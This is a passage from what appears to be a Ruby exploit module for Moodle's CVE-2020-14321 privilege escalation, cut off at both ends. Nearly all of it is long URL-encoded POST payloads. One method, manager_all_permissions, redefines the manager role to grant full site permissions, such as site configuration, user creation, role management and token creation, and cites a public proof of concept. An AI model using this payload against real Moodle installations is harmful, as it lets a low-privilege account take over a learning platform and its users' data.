Fassign%3Amanageallocations=0&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=0&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=0&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=0&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=0&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=0&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=0&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=0&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=0&mod%2Fassign%3Aview=0&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=0&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=0&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=0&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=0&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=0&mod%2Fassignment%3Aview=0&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=0&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=0&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=0&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=0&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=0&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=0&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=0&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=0&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=0&mod%2Fchoice%3Achoose=0&mod%2Fchoice%3Adeleteresponses=0&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=0&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=0&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=0&mod%2Fdata%3Aapprove=0&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=0&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=0&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=0&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=0&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=0&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=0&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=0&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=0&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=0&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=0&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=0&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=0&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=0&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=0&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=0&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=0&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=0&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=0&mod%2Ffeedback%3Acreateprivatetemplate=0&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=0&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=0&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=0&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=0&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=0&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=0&mod%2Ffeedback%3Aview=0&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=0&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=0&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=0&mod%2Ffolder%3Aview=0&mod%2Fforum%3Aaddnews=0&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=0&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=0&mod%2Fforum%3Acanoverridecutoff=0&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=0&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=0&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=0&mod%2Fforum%3Acreateattachment=0&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=0&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=0&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=0&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=0&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=0&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=0&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=0&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=0&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=0&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=0&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=0&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=0&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=0&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=0&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=0&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=0&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=0&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=0&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=0&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=0&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=0&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=0&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=0&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=0&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=0&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=0&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=0&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=0&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=0&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=0&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=0&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=0&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=0&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=0&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=0&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=0&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=0&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=0&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=0&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=0&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=0&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=0&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=0&mod%2Fh5pactivity%3Aview=0&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=0&mod%2Flabel%3Aview=0&mod%2Flesson%3Aedit=0&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=0&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=0&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=0&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=0&mod%2Flesson%3Aviewreports=0&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=0&mod%2Flti%3Amanage=0&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=0&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=0&mod%2Fquiz%3Aattempt=0&mod%2Fquiz%3Adeleteattempts=0&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=0&mod%2Fquiz%3Aemailnotifysubmission=0&mod%2Fquiz%3Aemailwarnoverdue=0&mod%2Fquiz%3Agrade=0&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=0&mod%2Fquiz%3Amanage=0&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=0&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=0&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=0&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=0&mod%2Fquiz%3Aview=0&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=0&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=0&mod%2Fscorm%3Adeleteownresponses=0&mod%2Fscorm%3Adeleteresponses=0&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=0&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=0&mod%2Fscorm%3Aviewreport=0&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=0&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=0&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=0&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=0&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=0&mod%2Fwiki%3Acreatepage=0&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=0&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=0&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=0&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=0&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=0&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=0&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=0&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=0&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=0&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=0&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=0&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=0&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=0&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=0&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=0&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=0&mod%2Fworkshop%3Apublishsubmissions=0&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=0&mod%2Fworkshop%3Aswitchphase=0&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=0&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=0&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=0&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=0&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=0&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=0&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=0&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=0&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=0&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=0&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=0&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=0&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=0&moodle%2Fcourse%3Aviewhiddenactivities=0&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=0&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=0&moodle%2Fh5p%3Aupdatelibraries=0&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=0&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=0&moodle%2Fsite%3Atrustcontent=0&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=0&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=0&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=0&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=0&quiz%2Fgrading%3Aviewstudentnames=0&quiz%2Fstatistics%3Aview=0&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=0&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=0&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=0&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=0&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=0&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=0&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=0&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=0&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=0&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=0&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=0&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=0&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=0&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=0&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=0&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=0&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=0&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=0&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=0&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=0&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=0&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=0&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=0&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=0&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=0&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=0&repository%2Fboxnet%3Aview=0&repository%2Fcontentbank%3Aview=0&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=0&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=0&repository%2Fequella%3Aview=0&repository%2Ffilesystem%3Aview=0&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=0&repository%2Fflickr_public%3Aview=0&repository%2Fgoogledocs%3Aview=0&repository%2Flocal%3Aview=0&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=0&repository%2Fonedrive%3Aview=0&repository%2Fpicasa%3Aview=0&repository%2Frecent%3Aview=0&repository%2Fs3%3Aview=0&repository%2Fskydrive%3Aview=0&repository%2Fupload%3Aview=0&repository%2Furl%3Aview=0&repository%2Fuser%3Aview=0&repository%2Fwebdav%3Aview=0&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=0&repository%2Fyoutube%3Aview=0&block%2Factivity_modules%3Aaddinstance=0&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=0&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=0&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=0&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=0&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=0&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=0&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=0&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=0&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=0&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=0&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=0&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=0&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=0&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=0&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=0&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=0&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=0&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=0&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=0&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=0&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=0&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=0&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=0&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=0&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=0&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=0&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=0&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=0&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=0&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=0&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=0&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=0&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=0&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=0&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=0&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=0&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=0&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=0&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=0&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=0&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=0&moodle%2Fsite%3Amanageblocks=0&moodle%2Fsite%3Amanageblocks=1"
+ end
+
+ def manager_all_permissions(sess_key)
+ # https://github.com/HoangKien1020/CVE-2020-14321#payload-to-full-permissions
+ # or
+ # https://github.com/HoangKien1020/CVE-2020-14321/blob/master/cve202014321.py#L113
+ # im sorry to anyone who has to read this.
+ "sesskey=#{sess_key}&return=define&resettype=none&savechanges=Save+changes&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3Amyaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=1&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=1&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=1&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=1&moodl